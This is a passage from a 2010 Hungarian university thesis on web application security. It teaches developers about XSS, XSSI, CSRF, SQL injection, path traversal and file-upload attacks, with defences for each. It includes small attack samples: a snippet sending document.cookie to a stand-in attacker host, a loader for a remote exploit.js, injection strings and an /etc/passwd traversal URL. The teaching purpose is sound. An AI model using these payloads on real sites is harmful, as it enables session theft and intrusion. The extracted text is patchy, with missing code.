Professional Documents
Culture Documents
Informatikai Kar
Web-alkalmazások biztonsága
Györkő Péter
Abonyi-Tóth Andor
nappali tagozat, programtervező
egyetemi tanársegéd, PhD hallgató
matematikus
Budapest, 2010
Tartalomjegyzék
1. Bevezetés............................................................................................................................5
2. Technikai alapfogalmak......................................................................................................7
2.1. Alapfogalmak...........................................................................................................7
2.3. Névszerverek............................................................................................................9
2.4.2. Keepalive.....................................................................................................11
2.5. JavaScript...............................................................................................................12
3. Támadások........................................................................................................................17
3.3.1. Adatlopás......................................................................................................24
4. Demonstrációs program....................................................................................................57
5. Összegzés.........................................................................................................................59
6. Hivatkozások....................................................................................................................61
1. Bevezetés
Ilyen alkalmazás lehet egy közösségi oldal (social network) [3] által nyújtott
szolgáltatás, egy dokumentumszerkesztő, vagy akár egy interneten használható online banki
szolgáltatás, esetleg egy web-áruház. Ebből következően nem csak a személyes adatok
védelme, de az anyagi javak biztonságos kezelése is ezen szolgáltatások feladata.
5
Jelen diplomamunka célja, hogy segítséget nyújtson az ilyen rendszereket tervezők
számára, hogy az irányelveket betartva megbízható és minőségi szoftvert készíthessenek.
Mindezekhez azonban szükség van arra, hogy ismerjük az internet adta lehetőségeket,
kihívásokat és a támadási módszereket, hiszen ezek nélkül nem vagyunk képesek
megvédeni a szolgáltatást az illetéktelen hozzáféréstől.
6
2. Technikai alapfogalmak
2.1. Alapfogalmak
Ahhoz, hogy a biztonsági kérdéseket tisztázni tudjuk, szükség van arra, hogy az
alapvető fogalmakat ismerjük a weben futtatott alkalmazások működése kapcsán. Az
alábbiakban ezen fogalmakat ismertetem.
7
− Szerver-oldal: A fejlesztő által üzemeltetett és karban tartott web-szerveren [13]
futó kód, mely a legtöbb esetben egy relációs adatbázishoz (relational database)
[14] is hozzáfér. Ennek a biztonsága kulcsfontosságú, hiszen ha egy támadó
hozzáfér az itt tárolt adatokhoz, akkor akár az összes felhasználóról is megszerezheti
a személyes információkat.
Jelentős különbség a kliens és szerver oldal között, hogy míg a program szerver
oldali része az üzemeltető gépén – változtatás nélkül – fut, addig a kliens-oldali részt egy
rosszindulatú támadó képes megváltoztatni, ezáltal olyan adatokat továbbítva a szervernek,
melyek normál működés mellett nem fordulhatnának elő. A szervernek ezért alkalmasnak
kell lennie arra, hogy az ilyen érvénytelen adatok (invalid data) esetén is – a lehetőségekhez
képest – megfelelően működjön, és semmilyen körülmények között se nyújtson olyan
szolgáltatást, amelyhez a kliensnek nincs jogosultsága.
8
Az IP-cím egyértelműen azonosítja a célgépet, így az azon futó web-szervernek
elküldhetjük a kérdéses web-oldal címét, a később ismertetett HTTP protokoll segítségével.
Ezután a szerveroldalon futó alkalmazás legenerálja számunkra az oldal HTML (HyperText
Markup Language) [20] forrását, melyet a böngészőnk értelmez, majd megjeleníti a kért
web-lapot. Sok esetben a HTML forrás tartalmaz néhány külső hivatkozást képekre,
beágyazott videókra, stíluslapokra (Cascading Style Sheets) [21], JavaScript fájlra,
melyekre szintén szükség van a web-oldal megjelenítéséhez.
2.3. Névszerverek
9
2.4. HTTP (Hypertext Transfer Protocol)
A kliens és szerver kommunikációja a legtöbb esetben HTTP [24] (RFC 2616) vagy
HTTPS (Hypertext Transfer Protocol Secure) [25] protokollon keresztül történik, a 80-as
vagy a 433-as port felhasználásával. Ez lehetőséget biztosít a szöveg alapú adatok (pl.:
HTML, CSS), illetve a bináris adatok [26] (pl.: álló- és mozgóképek) mindkét irányba
történő továbbítására. Ez utóbbi úgy valósul meg, hogy az adatokat először base64 [27]
formátumúra kódolja, melynek hatására csak olvasható karaktereket (printable characters)
[28] fog tartalmazni, ezért a HTTP protokoll az ember számára is könnyen olvasható
(human readable) [29]. Ennek a módszernek a hátránya, hogy ilyen esetben a küldendő adat
mérete 33%-kal megnő, mely többletköltséget jelenthet a küldő és a hálózat számára.
10
− 500 Internal Server Error – A szerveren belső hiba történt
A HTTP protokoll nem képes két különböző kérésről eldönteni, hogy azok azonos
felhasználótól érkeztek-e. A gyakorlatban azonban sokszor szükség van arra, hogy egy
felhasználó állapotát és munkamenetét követni tudjuk. Erre szolgál megoldásként a HTTP
süti [35].
A sütik egy adott domain-hez tartozó, karakterlánc (string) alapú kulcs-érték párok
(key-value pairs). Amennyiben egy ilyen sütit beállít a szerver, akkor azt – annak lejárati
idejéig – a böngésző minden egyes HTTP kérés során visszaküldi a kiszolgálónak, ezzel
lehetővé téve a felhasználó azonosítását. Fontos megjegyezni, hogy a sütik küldése
kizárólag a célgép domain-jétől függ, és az nem befolyásolja, hogy a kérés honnan érkezett.
2.4.2. Keepalive
11
Connection: Keep-Alive
2.5. JavaScript
Egy JavaScript program lehet egy külön fájlban, vagy akár magában a HTML
forrásban is. Képes írni és olvasni a HTML-t, sütiket, címsort és a státuszbárt (status bar)
[39], valamint lehetőséget biztosít bizonyos rendszerhívásokra (system call) [40] is.
12
Ehhez hasonlóan, egy domain-en futó JavaScript sem intézhet egy másik domain-
hez távoli kérést (RPC, Remote Procedure Call) [43]. Amennyiben ilyennel próbálkozunk,
a böngésző kivételt (exception) [44] fog dobni.
<head>
<script type="text/javascript">
// Ez egy HTML-be ágyazott JavaScript
alert("Helló Világ!");
</script>
<!-- Ez pedig egy külső JavaScript fájl -->
<script type="text/javascript"
src="http://masik.domain.hu/kulso.js">
</script>
</head>
Azt gondolhatnánk, hogy a fenti példában szereplő kulso.js fájlban lévő funkció
nem fér hozzá az aktuális DOM-hoz, de ez nem így van. Minden JavaScript annak a
domain-nek a jogosultságával fut, ami őt beágyazta, függetlenül attól, hogy milyen domain-
ről származik.
13
2.6. Hypertext Transfer Protocol Secure (HTTPS)
A HTTPS alapvető feladata, hogy egy biztonságos csatornát képezzen egy nem
biztonságos hálózat felett. Célja, hogy lehetetlenné tegye az adatok lehallgatását
(eavesdropping) [45], a harmadik fél által módosított adatokból fakadó támadásokat (man-
in-the-middle attack) [46], illetve a visszajátszás alapú (replay attack) [47] visszaéléseket.
Ezt úgy éri el, hogy felhasználja az SSL/TLS (Secure Socket Layer/Transport Layer
Security) [48] kriptográfiai eljárást, mely az RSA (Rivest, Shamir and Adleman) [49] 1024
és 2048 bites változatára épül. Ez lehetőséget biztosít arra, hogy a PKI (Public Key
Infrasctructure) [50] rendszert használva X.509 tanúsítvánnyal (certificate) [51] alá tudja
írni az adatokat a szerver, ezzel hitelesítve önmagát a kommunikációs partnere számára.
Ezen felül az SSL lehetővé teszi azt is, hogy a hálózati forgalmat se lehallgatni, se
módosítani ne lehessen a felek tudta nélkül.
Tanúsítványt egy felhasználó, egy szervezet, vagy akár egy másik CA számára is
kiállíthatnak. Ebben az esetben igazolják azt, hogy a tanúsítvány alanya (személy, szervezet
vagy alkalmazás) rendelkezik a tanúsítvány publikus kulcsához tartozó privát kulccsal.
Amennyiben az alany egy másik CA, akkor az igazolás azt jelenti, hogy a másik
tanúsítványkiadó szervezet által kiadott tanúsítványok is megbízhatóak.
15
2.8. PKI működése a HTTPS-t használó web-kiszolgálók esetében
16
3. Támadások
Ezen fejezet a teljesség igénye nélkül mutat be olyan támadási módszereket, melyek
alkalmasak a valós környezetben történő alkalmazásra. Fontos kiemelni, hogy a felsorolt
megoldások ismertetésének célja, hogy hatékonyabban tudjunk a támadásokkal szemben
védekezni.
17
Mivel a HTML nyelv a tartalmon kívül bizonyos formázásokat és eseménykezelést
is tartalmaz, ezért a nem megfelelően ellenőrzött, a támadótól érkező adatok a web-oldal
részévé is válhatnak. Erre a leghétköznapibb példa egy keresőmotor: amikor a felhasználó
próbál megtalálni egy kifejezést, akkor a találatokat tartalmazó lista tetején szerepel a
keresett kifejezés. Ha ebből a szövegrészből nincs megfelelően eltávolítva az összes HTML
vezérlőkarakter, akkor nem perzisztens XSS sebezhetőségről beszélhetünk.
http://www.pelda.hu/?keres=<script>alert(42);</script>
Tegyük fel, hogy a pelda.hu amennyiben keres kulcsú GET paramétert kap, úgy
megjeleníti a keresendő kifejezést, majd a találatokat. Ennek a funkciónak a szerver-oldali
része az alábbiak szerint néz ki:
if (isset($_GET['keres']))
{
// Jelenítsük meg a keresett kifejezést a
találati lista tetején
print "Keresett tartalom: " . $_GET['keres'] .
"<br/>";
...
}
18
Abban az esetben, ha a potenciális áldozat elnavigál a kapott linkre, akkor a
böngészője a következő HTML forrást fogja értelmezni:
19
A következő táblázat a lecserélendő karaktereket írja le:
< <
> >
& &
” "
' '
A perzisztens vagy tárolt (stored) XSS esetében a támadónak nincs szüksége arra,
hogy rávegye a potenciális áldozatot egy speciálisan preparált web-cím megnyitására,
elegendő egy sebezhető web-oldalt találnia. A módszer alapötlete, hogy rosszindulatú
JavaScript forráskódot juttassunk be a szerverre, és elérjük, hogy ezt adja ki a web-oldalra
látogató felhasználóknak. Ebben az esetben akár az összes látogató érintett lehet, sőt, a
rosszindulatú kód ezáltal tovább is terjesztheti önmagát. Erről részletesebben a wormokról
szóló fejezetben (lásd: 3.3.3 XSS Wormok) írok.
20
Teszt hozzászólás
<script type="text/javascript">alert(42);</script>
21
[url=http://www.pelda.hu]Példa[/url]
<a href="http://www.pelda.hu">Példa</a>
[url=javascript:alert(42)]Példa[/url]
Ha nincs letiltva a „javascript:” prefix, akkor egy olyan linket kapunk, melyre
kattintva lefut a beágyazott JavaScript, és felugrik az ablak:
<a href="javascript:alert(42)">Példa</a>
Tételezzük fel, hogy prefix alapján szűrtek a hivatkozások. Ilyen esetben a támadó
megpróbálkozhat az alábbival:
[url=#" onclick="alert(42);]Példa[/url]
22
<a href="#" onclick="alert(42);">Példa</a>
Néha azzal kerülhető meg a védelem, hogy a támadó megfelelő módon egymásba
ágyaz BBCode-okat, hogy azok egymást semlegesítsék:
23
3.3. Visszaélés az XSS-sel
3.3.1. Adatlopás
Úgy működik, hogy a támadó egy olyan programot futtat az áldozat böngészőjében,
mely az áldozat tudtán kívül elküldi neki a kért információt. Erre lehet alkalmas egy az
alábbihoz hasonló kódrészlet:
24
// Létrehozunk egy új kép objektumot azért, mert arra
// nem érvényes a Same origin policy
var img = new Image();
// A kép elérési útvonalába GET paraméterként
// beletesszük az ellopni kívánt adatot
image.src = "http://www.tamado.hu?cookie=" +
document.cookie;
Vizsgáljuk meg részletesebben, hogy mire miért van szükség a fenti példában. A
támadó célja, hogy megszerezze az áldozat munkamenet-azonosítóját (session ID) [62],
mely segítségével – amennyiben a szerver nem ellenőrzi az IP-cím egyezését – be tud lépni
az áldozat nevében. De miért van szükség az Image (kép) létrehozására? Ennek
megértéséhez tisztában kell lennünk azzal, hogy a JavaScript miként kezeli a domain-ekhez
kötött jogosultságokat (ld.: 2.5.1 Same origin policy). Ez azt határozza meg, hogy egy adott
domain-en futó programrészlet csak a saját domain-jéhez intézhet távoli kéréseket, vagyis
látszólag a támadó hiába szerzi meg az információt, nem képes azt eljuttatni a saját gépére.
Ez azonban megkerülhető úgy, hogy megpróbál egy képet betölteni a www.tamado.hu
címről, melynek GET paraméterben átadja a kérdéses információt, melyet a célgép
egyszerűen eltárol egy fájlban vagy adatbázisban. Ezt felhasználva a későbbiekben – ha a
munkamenet még él – a támadó be tud lépni az áldozat nevében, üzeneteket küldhet,
megváltoztathatja a beállításait, vagy ellophatja a személyes adatait.
25
3.3.2. Áldozat nevében történő cselekvés
Korábban szó esett arról, hogy a teljes identitás ellopásához az is szükséges, hogy a
megtámadott web-oldal ne ellenőrizze a kliensek IP-címét. A most bemutatott módszer
viszont az ellenőrzés megléte esetén is működik, és – a legtöbb esetben – észrevétlen az
áldozat számára.
26
Ezzel a megoldással – az alkalmazástól függően – a felhasználó nevében üzeneteket
írhat, átállíthatja a beállításait, vagy akár törölheti a profilját anélkül, hogy azt az áldozat
észrevenné. Ezen kívül alkalmas arra is, hogy a fent bemutatott módszer segítségével
ellopja a felhasználó titkos kérdésére adott választ (jelen példában a secret azonosítóval
rendelkező elem tartalmát), és így megváltoztassa a jelszavát.
Példaként tekintsünk egy olyan fórumot, ahol számos témához lehet hozzászólni.
Tegyük fel, hogy egy támadó talált a hozzászólás hozzáadásában valamilyen XSS
sebezhetőséget. Ha ezt úgy használja ki, hogy minden témához hozzáad egy fertőzött
hozzászólást, akkor gyanússá válhat, valamint megkönnyíti a moderációt. Ezzel szemben,
ha készít egy olyan wormot, mely véletlenszerűen választ egy fórumtémát – melybe beírja
önmagát – akkor az összes ilyen worm példány más és más felhasználó neve alatt fog
szerepelni, ami megnehezíti a worm felszámolását.
Bizonyos fejlettebb wormok képesek arra is, hogy a forráskódjukat minden egyes
tovaterjedésük során megváltoztassák. Ennek a hatására a web-oldal üzemeltetője nem
feltétlenül tudja minta alapján kiszűrni a fertőzött bejegyzéseket.
27
A wormok legnagyobb veszélye, hogy rendkívül gyorsan terjednek, és az
üzemeltetők általában nincsenek felkészülve a megfékezésükre. Jellemző, hogy amire
sikerül megszabadulni tőlük, addigra már nagy számú felhasználó érintetté válik.
Sok esetben a támadó célja az, hogy egy hátsó kaput (backdoor) nyisson az áldozat
gépén, mely segítségével a későbbiekben adatot tud lopni, kéretlen reklámlevelet (spam)
tud küldeni, vagy további támadásokat tud indítani. Ilyenkor általában egy ismert böngésző-
sebezhetőséget (exploit) [63] használ ki. Ehhez a weben több adatbázis is elérhető, a
legismertebb a Metasploit [64]. A támadó ennek segítségével megpróbálhat egy ismert
böngésző-sebezhetőséget kihasználni, mely az esetek többségében sikerrel is jár, hiszen a
felhasználók nagy része – a kényelmetlenség, vagy ismerethiány miatt – nem frissíti
rendszeresen az alkalmazásait.
Vegyük észre, hogy a forrás nem tartalmaz sem idézőjelet (") sem pedig aposztrófot
('), mégis használja az „ELTE” karakterláncot.
29
3.6. Kliens-oldali kódinjektálás (Client-side code injection)
Tételezzük fel, hogy egy webes galériát készítünk, melyben a képekhez címek
tartoznak, amelyeket a felhasználók adhatnak meg. Ebben az esetben a szerver egy
lehetséges implementációja az alábbi lehet:
$images = getImages();
foreach ($images as $image)
echo '<img src="' . $image['file_name']
. '" onclick="showImage(\''
. $image['file_name'] . '\', \''
. $image['title'] . '\');" />';
30
<img src="1.jpg" onclick="showImage('1.jpg',
'Cím');" />
Ez azt jelenti, hogyha a felhasználó rákattint egy ilyen képre – hogy megnézze
nagyobb méretben – akkor miután lefutott az azt lehetővé tevő showImage() függvény,
lefut a támadó által hozzáadott kód is. A példában szereplő dummy nevű lokális változó
szerepe mindössze annyi, hogy megelőzze a szintaktikai hibát.
A fenti példában csak akkor fut le az ártó szándékú kód, ha a felhasználó rákattint az
adott képre. Ennek a támadásnak létezik azonban egy olyan változata is, mely nem igényli
ezt a fajta interakciót:
31
<img src="1.jpg" onclick="showImage('1.jpg', 'Cím');"
onload="alert(42);" dummy=('');" />
Vagyis ebben a példában már a kép betöltésekor lefut a bejuttatott kód, nincs
szükség a felhasználó közreműködésére.
Mit tehet a támadó akkor, ha csak olyan HTML elembe képes JavaScriptet
injektálni, mely nem támogatja az onload eseményt? Ekkor használhatja a mouseover
illetve a mousemove eseménykezelőket – kiegészítve stíluslap (Cascading style sheets)
fertőzéssel –, mely lehetővé teszi, hogy az adott elem a teljes képernyőt elfoglalja, ezzel
kiváltva a fent említett eseményeket.
#en_divem
{
width: expression(document.body.clientWidth >
800? "800px": "auto");
}
32
3.7. Külső JavaSript fájl betöltése
Ezt a funkcionalitást azonban sokkal rövidebben is le lehet írni, mely fontos lehet
akkor, ha például limitált a bejuttatható karakterek száma:
d=document;d.body.appendChild(d.createElement('script'
)).src='http://www.tamado.hu/exploit.js';
E támadás ellen önmagában nem lehet védekezni, sokkal inkább azt kell elérni, hogy
a támadó semmilyen módon ne legyen képes bejuttatni az ártó szándékú kódrészletet.
33
3.8. Cross Site Script Inclusion (XSSI)
A böngészők nem engedik meg, hogy egy domain-ről egy másik domain által
biztosított információhoz hozzáférjünk, amint az a Same origin policy (2.5.1) című
fejezetben látható volt. Képesek azonban hivatkozni más domain-eken lévő erőforrásokra,
ami lehet egy kép, vagy egy távoli JavaScript fájl. Ilyen esetben kiemelten fontos tudnunk,
hogy a külső script annak a domain-nek a jogosultságaival fut, amely arra hivatkozott.
34
// Az új leveleket illeszti be a web-oldalba
function insertMails(mails)
{
...
}
// Az új levelek lekérdezését lehetővé tevő függvény
function fetchMails()
{
$.get('ajax.php', function(data) {
eval(data);
});
}
insertMails([
{
"sender": "valaki@pelda.hu",
"subject": "Privát üzenet",
"body": "Ez egy személyes üzenet"
}
]);
35
Ahogy a példa is mutatja, a válaszban szereplő függvényhívás paraméterei
tartalmazzák a személyes információkat.
<script type="text/javascript">
function insertMails(mails)
{
for (var i = 0; i < mails.length; i++)
{
alert("Feladó: " + mails[i]['sender'] +
"\nTárgy: " + mails[i]['subject'] + "\nÜzenet: " +
mails[i]['body']);
}
}
</script>
<script type="text/javascript"
src="http://www.pelda.hu/ajax.php"></script>
36
Az ezt követő blokk betölti a pelda.hu-n lévő ajax.php-t, mint külső JavaScript fájl.
Mivel a böngészők ilyen esetben elküldik a pelda.hu-hoz tartozó sütiket, így a web-szerver
nem tud különbséget tenni egy ilyen kérés, illetve egy szabályos – saját domain-ről érkező
– között. Ezek együttes eredményeként a támadó web-oldalán egy felugró ablakban
megjelennek a levelekre vonatkozó információk. Természetesen egy valódi támadó a
felugró ablakok helyett eltárolja a leveleket, a későbbi felhasználás céljából.
37
[
{
"sender": "valaki@pelda.hu",
"subject": "Privát üzenet",
"body": "Ez egy személyes üzenet"
}
]
38
// Adjunk át egy egyedi azonosítót a függvénynek
function fetchMails(token)
{
// Használjunk POST-ot
$.get('ajax.php', { 'token': token },
function(data) {
// Vágjuk le a felesleges '{' karaktert
mails = data.substr(1);
insertMails(eval(mails));
}
);
}
A most ismertetett sebezhetőség szintén arra épül, hogy a böngészők minden esetben
elküldik a domain-hez tartozó sütiket, függetlenül attól, hogy melyik web-oldal intézte a
kérést. A megértéséhez – az előző példát továbbgondolva – tegyük fel, hogy a levelezést
biztosító szolgáltatásunk levélküldő űrlapja (form) így néz ki:
39
Ha a felhasználót a támadó elnavigálja a saját web-oldalára, akkor – élő
munkamenetet feltételezve – képes lehet arra, hogy üzenetet küldjön a nevében. Ehhez
nincs másra szüksége, mint egy – az eredetivel megegyező – HTTP kérés elküldésére. Ezt
legegyszerűbben úgy teheti meg, hogy megfelelően felparaméterez egy <img> tag-et:
<img src="sendmail.php?to=valaki@pelda.hu&subject=T
%C3%A1rgy&body=%C3%89n%20vagyok%20a%20t%C3%A1mad
%C3%B3"/>
Evidens megoldásnak tűnik az, hogy a GET helyett csak POST-ot engedünk meg az
ilyen típusú kérésekben. Ezzel elkerülhető, hogy a támadó egy kép betöltésével intézzen
ilyen típusú kéréseket a web-szerverünk felé. Ez azonban nem biztosít megfelelő védelmet,
mert a támadó képes arra, hogy a felépítsen egy – az előzővel azonos – űrlapot, melyet
JavaScript segítségével el is tud küldeni. Ha mindezt egy elrejtett <iframe>-be ágyazza,
akkor az áldozat semmit sem fog észrevenni ebből.
40
Biztonságosabb és teljesebb megoldás, ha a szerver-oldalon minden egyes
munkamenethez véletlenszerűen egy azonosítót (token) generálunk, melyet eltárolunk,
valamint az összes űrlapba beágyazunk. Amikor egy kérés érkezik a klienstől, akkor
ellenőrizzük, hogy a kapott azonosító megegyezik-e az általunk eltárolttal. Mivel a támadó
ehhez nem fér hozzá, így nem lesz képes a megfelelő kérés összeállítására, és így az áldozat
nevében történő üzenet küldésére.
A bemutatott támadás azt használja ki, hogy sok esetben az óvatlan alkalmazás-
fejlesztő a lekérdezésekbe – módosítás nélkül – beilleszt olyan értékeket, melyeket a
felhasználó ad meg. A klasszikus példa egy bejelentkező-képernyő, mely egy
felhasználónevet és egy jelszót fogad. Miután azt megadta a felhasználó, a szerver oldali
kód lefuttat egy ehhez hasonló lekérdezést, hogy eldöntse, jogosult-e a belépésre:
41
SELECT username FROM users WHERE username =
'felhasznalo' AND password = 'jelszo' OR 1 = '1';
Egy másik módszer, hogy a támadó lezárja az aktuális lekérdezést, és egy másikat
fűz hozzá. Ezzel lehetősége van adatok módosítására, vagy törlésére is. Természetesen ezt
csak akkor teheti meg, ha be van kapcsolva az ezt szabályzó kapcsoló:
MYSQL_OPTION_MULTI_STATEMENTS_ON
Tegyük fel, hogy a támadó meg akarja szerezni az admin nevű felhasználóhoz
tartozó jelszót. Ehhez olyan eldöntendő kérdéseket kell konstruálnia, melyekre a kapott
válaszból ezt meg tudja határozni. Természetesen – a web szerverek válaszideje miatt –
nem használhat „nyers erő” (brute force) [79] támadást, mely során az összes lehetséges
jelszót végigpróbálná, ennél kevesebb lekérdezésből kell elérnie a célját. Az ehhez vezető
módszer a bináris vagy logaritmikus keresés (binary search) [80]. Ezt alkalmazva
nagyságrendekkel csökkenthető a szükséges próbák száma. Ennek lépései:
42
a) Meghatározza a jelszó hosszát logaritmikus kereséssel:
43
Ennek eredménye egy olyan lekérdezés, melynek visszatérési értéke az első
karakterre vonatkozó információval fog szolgálni:
44
3.11. Path or directory traversal
Maga a támadás azt használja ki, hogy a „..” – Windows és Linux platformon is –
a szülő könyvtárra mutat, így az alkalmazás „feletti” könyvtárhoz is hozzá férhet a támadó.
Nézzük meg, hogy mi történik, ha beírja a böngészőjébe a következő címet:
http://www.pelda.hu/../../etc/passwd
Ekkor – néhány böngésző esetében – a HTTP fejléc eleje így fog kinézni:
Ennek az oka, hogy sok esetben már maguk a böngészők végeznek egyfajta
optimalizációt és átalakítást a kapott URL-en, hogy megkönnyítsék a kiszolgálók dolgát,
illetve csökkentsék a hálózati adatforgalmat. Ilyen esetben használható a cURL [84] nevű
program, mely segítségével tetszőleges HTTP kérés kiadható.
45
Linux rendszerek esetében nem csak a „..”, hanem a „~” (hullám, tilde) karakter is
veszélyes lehet, mely a felhasználók saját könyvtáraihoz nyújt hozzáférést.
http://www.pelda.hu/?oldal=fooldal
<?php
include($_GET['oldal'] . '.php');
?>
46
Ilyen esetben szintén működhet a korábban ismertetett támadás, vagyis a „..”
segítségével az alkalmazáson kívüli PHP fájlokra is hivatkozhat a támadó. Mit tehet
azonban akkor, ha nem „.php” kiterjesztésű fájlt akar betölteni? Sajnos ezt is megteheti, ha
az alábbi címet írja be a böngészőjébe:
http://www.pelda.hu/?oldal=proba.txt%00
47
preg_match('/^[a-z]+$/', $_GET['oldal'], &$matches);
if (count($matches) != 1)
throw new Exception('Ervenytelen parameter');
Ezen kívül lehetőség van arra is, hogy felsoroljuk a paraméter lehetséges értékeit, és
amennyiben nem ezek közül kapunk valamit, úgy visszairányítjuk a főoldalra a látogatót:
48
copy($_FILES['kep']['tmp_name'], 'kepek/' .
$_FILES['kep']['name']);
Vagyis a kep néven feltöltött képet másoljuk át a kepek könyvtárba olyan néven,
amilyenen azt a felhasználó elnevezte. Itt rögtön felmerül az a probléma, hogy a
felhasználók egymás képeit könnyedén felülírhatják abban az esetben, ha azonos névvel
látták el képeiket.
Látható az is, hogy semmilyen módon nem ellenőrizzük azt, hogy a felhasználó
tényleg egy képet töltött-e fel. Mi történik akkor, ha a támadó feltölt egy exploit.php-t,
melybe ártó szándékú utasításokat tesz? Természetesen az is bekerül a kepek könyvtár alá,
így könnyedén meghívhatóvá – és lefuttathatóvá – válik.
49
Bizonyos beállítások esetében a web-kiszolgáló nem csak a „.php” kiterjesztésű
fájlokat adja át a PHP értelmezőnek, hanem az összeset. Ez azt jelenti, hogy abban az
esetben, ha a támadó átnevezi az exploit.php-t exploit.jpg-re, akkor továbbra is
képes lesz azt feltölteni, valamint lefuttatni az abban lévő parancsokat.
$mime = mime_content_type($_FILES['kep']
['tmp_name']);
if ($mime != 'image/jpeg' && $mime != 'image/png')
throw new Exception('A feltoltott fajl nem kep');
50
Minden támadásra nehéz felkészülni, van azonban néhány módszer, mellyel
jelentősen megnehezíthetjük a támadó dolgát. Ezek közül a legfontosabb, hogy a web-
szervert állítsuk be úgy, hogy csak a *.php végű fájlokat adja át a PHP értelmezőnek.
Érdemes figyelni arra is, hogy soha ne azon a néven tároljuk el a képet, amit a felhasználó
adott neki. Ez az eltérő karakterkódolások és a felülírás potenciális lehetősége miatt
egyébként is ajánlott. Ezen kívül, ha képet kértünk be a felhasználótól, akkor a PHP GD
komponensének [92] az imagecreate() [93] metódusának a segítségével készítsünk
egy új képet, majd az imagecopy() [94] függvénnyel másoljuk át a régi megfelelő
részeit. Ezzel lehetőségünk van a védekezés mellett kontrollálni a kép méretét és felbontását
is.
A rendszer tervezésekor azt is vegyük figyelembe, hogy egy manipulált kép nem
csak szerver-oldalon okozhat problémákat, de kliens-oldali JavaScript-et is tartalmazhat,
amivel a támadónak lehetősége van egy kiszemelt áldozat nevében műveleteket
végrehajtani. Ezért is fontos, hogy a szerver már csak a megtisztított képeket adja ki a
böngészőknek.
51
2. ábra: Különböző színű linkek
Nem is gondolnánk, de ez a több mint egy évtizede elérhető szolgáltatás egy olyan
sebezhetőséget hordoz magában, mely segítségével a támadó feltérképezheti a webes
szokásainkat. Maga a módszer nagyon egyszerűen kivitelezhető. A támadó elnavigálja az
áldozatot egy saját web-oldalra. Ennek a web-oldalnak van egy olyan része, ami nem
látható, mert például egy oldalelem eltakarja. Ebbe a részbe a támadó nagy mennyiségű
linket helyez el, melyek népszerű web-oldalakra hivatkoznak. Ezután már csak annyi a
dolga, hogy JavaScript segítségével megnézze, hogy ezek közül melyek változtak át lila
színűre, így megtudja, hogy az áldozat milyen web-oldalakat látogatott meg korábban.
52
3.15. DNS gyorsítótár mérgezés (DNS cache poisoning)
53
− Ha a lokális DNS nem ismeri ezt, akkor kérést intéz a master DNS szerver irányába
− A támadó úgy tesz, mintha ő lenne a master DNS szerver, és hamis válaszokkal
„árasztja el” a lokális DNS-t, ami – mivel nem tudja a válasz hitelességét ellenőrizni
– eltárolja a kapott IP címet
− Mivel annak a gyorsítótárában szerepel – támadó által megadott – cél IP, ezért a
master DNS megkérdezése nélkül válaszol a felhasználónak
54
4. ábra: Mozilla Firefox – HTTPS használata
56
4. Demonstrációs program
57
http://websecurity.fw.hu/
http://websecurity.fw.hu/sources.zip
58
5. Összegzés
Bizonyos vélemények szerint az ilyen jellegű írásokat nem lenne szabad publikálni,
hisz ezek segíthetik az esetleges támadókat. Ez azonban felvet egy kérdést, melyet érdemes
magunknak feltennünk. Mi segíti inkább a web-alkalmazások fejlődését és biztonságát? Az,
ha megpróbáljuk elhallgatni a támadási módszereket, vagy az, ha ilyen és ehhez hasonló
írásokhoz jutnak a fejlesztők, melyek elolvasása és megértése után képesek lesznek jobb és
biztonságosabb megoldásokat alkalmazni?
59
Mit tehetünk felhasználóként, hogy megelőzzük ezeket a támadásokat? A
legfontosabb, hogy legyünk körültekintőek. Soha ne dőljünk be egy olyan e-mailnek, mely
számunka ismeretlen feladótól érkezett. Ne nyissunk meg ismeretlen forrásból származó
hivatkozásokat. Legyünk szkeptikusak. Amennyiben olyan web-oldalakat látogatunk,
melyek biztonsága fokozottan fontos a számunka (pl.: online banki szolgáltatás), akkor
minden esetben ellenőrizzük a bank domain nevét, illetve azt, hogy biztonságos – HTTPS –
kapcsolaton keresztül érjük-e el azt. Amennyiben valamilyen eltérést tapasztalunk a
megszokottól, ne adjuk meg a jelszavunkat, hanem vegyük fel a kapcsolatot a rendszert
üzemeltető adminisztrátorral.
Annak ellenére, hogy a témában számos magyar és idegen nyelvű publikáció érhető
el, kevés olyan van, mely megfelelően bemutatja a web-alkalmazásokat érintő
sebezhetőségeket, és az azokhoz tartozó javításokat. A legtöbb ilyen portál nem foglalkozik
a háttérben történő folyamatokkal, illetve a javítással, csupán a sebezhetőség tényét közli,
melynek megértése túlmutat egy átlagos fejlesztő ismeretein.
60
6. Hivatkozások
61
[20] http://en.wikipedia.org/wiki/HTML, (2010. 05. 17.)
62
[41] http://en.wikipedia.org/wiki/Document_Object_Model, (2010. 05. 02.)
63
[61] http://en.wikipedia.org/wiki/Backdoor_(computing), (2010. 05. 01.)
64
[81] http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_length, (2010.
05. 08.)
[87] http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include,
(2010. 05. 07.)
65